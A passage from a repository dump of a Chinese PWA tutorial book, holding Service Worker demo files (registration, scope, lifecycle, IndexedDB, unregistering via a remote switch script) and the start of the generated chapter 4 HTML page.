的更新需要删除掉以前的老的缓存也可以在这进行\n    ])\n  )\n})\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./sw.js')\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerDemo/sw.js",
    "content": ""
  },
  {
    "path": "docs/chapter04/code/serviceWorkerIndexeddbDemo/fruits.json",
    "content": "{\n  \"data\": \"demo\"\n}"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerIndexeddbDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Lifecycle Demo</title>\n  </head>\n  <body>\n    <script>\n      /* global fetch */\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js')\n          })\n      }\n\n      fetch('./fruits.json')\n        .then(response => response.json())\n        .then(data => {\n          // 将请求返回的数据打印出来\n          console.log(JSON.stringify(data, null, 2))\n        })\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerIndexeddbDemo/sw.js",
    "content": "/**\n * @file sw.js\n * @author pwa\n */\n\n/* global self, Response */\n\n// 为了保证每次新建的 indexedDB 都会触发更新\n// 用时间戳来维护 db 的版本号\n// 由于 Service Worker 只会在首次激活，所以能保证版本的激活时更新\nlet indexeddbVersion = Date.now()\n\nfunction createDB () {\n  return new Promise((resolve, reject) => {\n    let request = self.indexedDB.open('fruits', indexeddbVersion)\n\n    request.onupgradeneeded = e => {\n      let db = e.target.result\n      let store\n      if (!db.objectStoreNames.contains('fruitStore')) {\n        store = db.createObjectStore('fruitStore', {keyPath: 'id'})\n      } else {\n        store = e.target.transaction.objectStore('fruitStore')\n      }\n\n      store.put({\n        id: 123,\n        name: 'apple',\n        price: 10.99,\n        quantity: 200\n      })\n\n      store.put({\n        id: 321,\n        name: 'pear',\n        price: 8.99,\n        quantity: 100\n      })\n\n      store.put({\n        id: 222,\n        name: 'orange',\n        price: 11.99,\n        quantity: 300\n      })\n\n      resolve(true)\n    }\n  })\n}\n\nself.addEventListener('activate', event => {\n  event.waitUntil(\n    createDB()\n  )\n})\n\nfunction readDB () {\n  return new Promise((resolve, reject) => {\n    let request = self.indexedDB.open('fruits', indexeddbVersion)\n    request.onsuccess = e => {\n      let db = e.target.result\n      let transaction = db.transaction(['fruitStore'], 'readonly')\n      let objectStore = transaction.objectStore('fruitStore')\n      // 打开一个游标\n      let cursorRequest = objectStore.openCursor()\n      let results = []\n      cursorRequest.onsuccess = e => {\n        let cursor = e.target.result\n        if (cursor) {\n          results.push(cursor.value)\n          cursor.continue()\n        } else {\n          // 打印出所有的水果的信息\n          resolve(new Response(JSON.stringify(results)))\n        }\n      }\n    }\n  })\n}\n\nself.addEventListener('fetch', event => {\n  let url = event.request.url\n  if (url.includes('/fruits.json')) {\n    // 将从数据库中读取的水果列表数据当成 /fruits.json 请求的返回\n    event.respondWith(\n      readDB()\n    )\n  }\n})\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerLifecycleDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Lifecycle Demo</title>\n  </head>\n  <body>\n    <img src=\"./imgs/dog.jpg\" alt=\"demo image\" />\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js?v=20190401235959')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerLifecycleDemo/sw.js",
    "content": "/**\n * @file sw.js\n * @author pws\n */\n\n/* global self */\n\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', event => {\n  // 跳过等待\n  self.skipWaiting()\n  // 引入 event.waitUntil 方法\n  event.waitUntil(new Promise((resolve, reject) => {\n    // 模拟 promise 返回错误结果的情况\n    // reject('安装出错')\n    resolve('安装成功')\n    console.log('service worker 安装成功')\n  }))\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo/a/b/sw.js",
    "content": ""
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a/b/sw.js')\n          .then(reg => {\n            console.log(reg.scope)\n            // http://127.0.0.1:8000/a/b/\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo1/a/a-sw.js",
    "content": "/**\n * @file service worker 文件\n * @author pwa\n */\n\n/* global self */\n\nself.version = '20190402235959'\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo1/a/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo1 PageA</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              if (reg.scope !== 'https://127.0.0.1:8000/a/') {\n                reg.unregister()\n              }\n            }\n            // 注销掉污染 Service Worker 之后再重新注册自己作用域的 Service Worker\n            navigator.serviceWorker.register('./a-sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo1/b/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo1 PageB</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('/root-sw.js?v=20190402235959')\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerScopeDemo1/root-sw.js",
    "content": ""
  },
  {
    "path": "docs/chapter04/code/serviceWorkerUnregisterDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Unregister Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 正常进行注册 Service Worker\n        navigator.serviceWorker.register('./sw.js?v=20190401235959')\n        let script = document.createElement('script')\n        // 假设这个 JS 中存在 Service Worker 开关全局变量\n        script.src = 'https://some-static-cdn-host/sw-on-off.js'\n        script.async = true\n        script.onload = () => {\n          // Service Worker 开关全局变量的名称\n          if (window.SW_TURN_OFF) {\n            navigator.serviceWorker.getRegistrations()\n              .then(regs => {\n                for (let reg of regs) {\n                  // 注销掉所有的 Service Worker\n                  reg.unregister()\n                }\n              })\n          }\n        }\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerUnregisterDemo/sw.js",
    "content": ""
  },
  {
    "path": "docs/chapter04.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第4章 Service Worker · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter04/1-service-worker-introduction.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter03/5-indexeddb.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第4章 Service Worker</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#service-worker\"><b></b>Service Worker</a></li></ul></div><a href=\"#service-worker\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"service-worker\"><a name=\"service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker\" class=\"plugin-anchor\" href=\"#service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker</h1>\n<p>Service Worker &#x662F; PWA &#x6280;&#x672F;&#x57FA;&#x7840;&#x4E4B;&#x4E00;&#xFF0C;&#x8131;&#x79BB;&#x6D4F;&#x89C8;&#x5668;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x4F7F;&#x5F97; Web App &#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x6210;&#x4E3A;&#x53EF;&#x80FD;&#xFF0C;&#x66F4;&#x4E3A;&#x540E;&#x53F0;&#x540C;&#x6B65;&#x3001;&#x901A;&#x77E5;&#x63A8;&#x9001;&#x7B49;&#x529F;&#x80FD;&#x63D0;&#x4F9B;&#x4E86;&#x601D;&#x8DEF;&#x3002;Service Worker &#x548C;&#x7F13;&#x5B58;&#x4E4B;&#x95F4;&#x7684;&#x5173;&#x7CFB;&#xFF0C;&#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x4E3A; Service Worker &#x662F;&#x4E00;&#x79CD;&#x8C03;&#x5EA6;&#x673A;&#x5236;&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E;&#x94C1;&#x8DEF;&#x8C03;&#x5EA6;&#x7CFB;&#x7EDF;&#xFF0C;&#x800C;&#x7F13;&#x5B58;&#x5219;&#x7C7B;&#x4F3C;&#x4E8E;&#x5177;&#x4F53;&#x7684;&#x706B;&#x8F66;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x7EFF;&#x76AE;&#x8F66;&#x3001;&#x52A8;&#x8F66;&#x3001;&#x9AD8;&#x94C1;&#x7B49;&#xFF0C;&#x6240;&#x6709;&#x7684;&#x8F66;&#x90FD;&#x662F;&#x57FA;&#x4E8E;&#x8FD9;&#x4E00;&#x5957;&#x94C1;&#x8DEF;&#x8C03;&#x5EA6;&#x7CFB;&#x7EDF;&#x5728;&#x5DE5;&#x4F5C;&#x7684;&#xFF0C;&#x4F7F;&#x7528; Service Worker &#x53EF;&#x4EE5;&#x5728;&#x4E0D;&#x540C;&#x573A;&#x666F;&#x4E0B;&#x66F4;&#x52A0;&#x7CBE;&#x7EC6;&#x5316;&#x63A7;&#x5236;&#x7F13;&#x5B58;&#x3002;</p>\n<p>&#x672C;&#x7AE0;&#x4E2D;&#x4F1A;&#x6DF1;&#x5165; Service Worker &#x7684;&#x6280;&#x672F;&#x7EC6;&#x8282;&#xFF0C;&#x4ECB;&#x7ECD; Service Worker &#x6CE8;&#x518C;&#x65B9;&#x6CD5;&#x3001;&#x751F;&#x547D;&#x5468;&#x671F;&#x4EE5;&#x53CA;&#x66F4;&#x65B0;&#x673A;&#x5236;&#x7B49;&#x5185;&#x5BB9;&#xFF0C;&#x5E76;&#x5B66;&#x4E60;&#x5982;&#x4F55;&#x8C03;&#x8BD5; Service 